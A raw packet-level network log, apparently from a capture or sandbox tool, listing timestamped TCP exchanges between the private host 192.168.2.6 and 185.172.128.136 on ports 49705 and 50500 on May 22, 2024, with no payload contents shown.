May 22, 2024 20:06:28.163424015 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163441896 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163458109 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163472891 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163491964 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163510084 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163523912 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163542032 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163552046 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163564920 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163575888 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163592100 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163604975 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163619041 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163650990 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.165817022 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165836096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165874958 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165889025 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165905952 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165915966 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.165934086 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165950060 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165967941 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.165981054 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.165996075 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166014910 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166023016 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166038990 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166050911 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166066885 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166079998 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166095018 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166107893 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166121960 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166131973 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166147947 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166162968 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166174889 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166189909 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166202068 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166218042 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166232109 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166244984 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166260004 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166271925 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166286945 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166300058 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166315079 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166327953 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166342020 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166352034 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.166368961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.166399002 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.172692060 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172740936 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172779083 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172816038 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172853947 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172899961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.172935963 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.172959089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.172997952 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173017979 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173049927 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173073053 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173110962 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173137903 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173166990 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173204899 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173244953 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173268080 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173300028 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173322916 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173356056 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173378944 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173418999 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173439980 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173475981 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173496962 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173537016 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173557997 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173597097 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173615932 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173651934 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173676968 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173722982 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173746109 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173782110 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173804998 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173844099 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173863888 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173898935 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.173919916 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173959017 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.173981905 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174015999 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174037933 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174077034 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174101114 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174139977 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174170017 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174209118 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174237967 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174273014 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174300909 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174339056 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174359083 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174397945 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174423933 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174454927 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174504042 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174544096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174566031 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174601078 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174629927 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174669027 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174690962 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174727917 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174752951 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174779892 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174815893 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174855947 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174880981 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174916029 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.174943924 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.174983978 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.175007105 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.175040007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176369905 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176414967 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176435947 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176456928 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176476002 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176506996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176546097 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176573992 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176604033 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176630020 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176670074 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176696062 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176733971 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176749945 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176779985 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176800966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176845074 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176877022 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.176904917 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176944971 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.176969051 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177006006 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177031040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177068949 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177098989 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177125931 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177161932 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177201033 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177222013 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177258015 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177289009 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177328110 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177347898 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177382946 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177403927 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177443027 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177467108 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177505016 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177525043 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177567959 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177592039 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177630901 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.177649975 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.177690029 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.179697037 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.179742098 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.179766893 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.179805994 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.179841042 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.179881096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.179900885 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.179935932 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.179955959 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.179996014 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180021048 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180053949 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180083036 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180123091 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180150032 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180181026 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180207968 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180247068 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180269003 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180303097 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180324078 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180363894 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180383921 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180421114 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180439949 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180475950 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.180502892 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.180556059 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182327032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182368994 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182389975 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182416916 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182440042 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182468891 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182527065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182544947 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182581902 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182605982 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182646990 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182672977 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182704926 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182734013 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182774067 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182795048 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182832003 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182852030 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182888985 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.182919979 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182960033 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.182986021 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183016062 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183043003 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183083057 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183104992 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183140993 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183160067 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183197021 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183223963 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183264017 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183284998 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183314085 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183340073 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183366060 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183403015 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183442116 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183470011 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183500051 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183537006 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183574915 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.183597088 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.183634996 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.184879065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.184921980 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.184959888 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.184989929 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185019016 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185056925 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185096979 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185118914 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185153961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185174942 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185214043 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185245991 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185277939 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185302019 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185355902 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185380936 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185411930 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185441971 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185481071 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185502052 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185538054 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185558081 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185600042 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185622931 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185655117 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185683966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185724974 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185753107 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185781956 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185810089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185847998 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185868979 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185905933 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.185925007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185960054 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.185986996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.186026096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.186050892 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.186084032 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.186111927 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.186198950 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.186218977 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.186269999 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187359095 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187401056 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187431097 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187458038 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187488079 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187526941 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187550068 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187582016 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187604904 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187643051 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187665939 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187705040 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187730074 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187771082 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187803030 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187828064 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187864065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187901974 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.187930107 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187964916 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.187992096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188031912 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188054085 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188091040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188112020 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188150883 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188173056 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188211918 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188232899 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188270092 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188290119 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188328028 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188353062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188394070 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188415051 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188456059 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188484907 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188524008 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188548088 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188582897 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.188611031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.188668966 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.189827919 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.189872980 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.189896107 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.189933062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.189951897 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.189987898 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190016031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190054893 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190080881 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190113068 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190149069 CEST	50500	49705	185.172.128.136	192.168.2.6
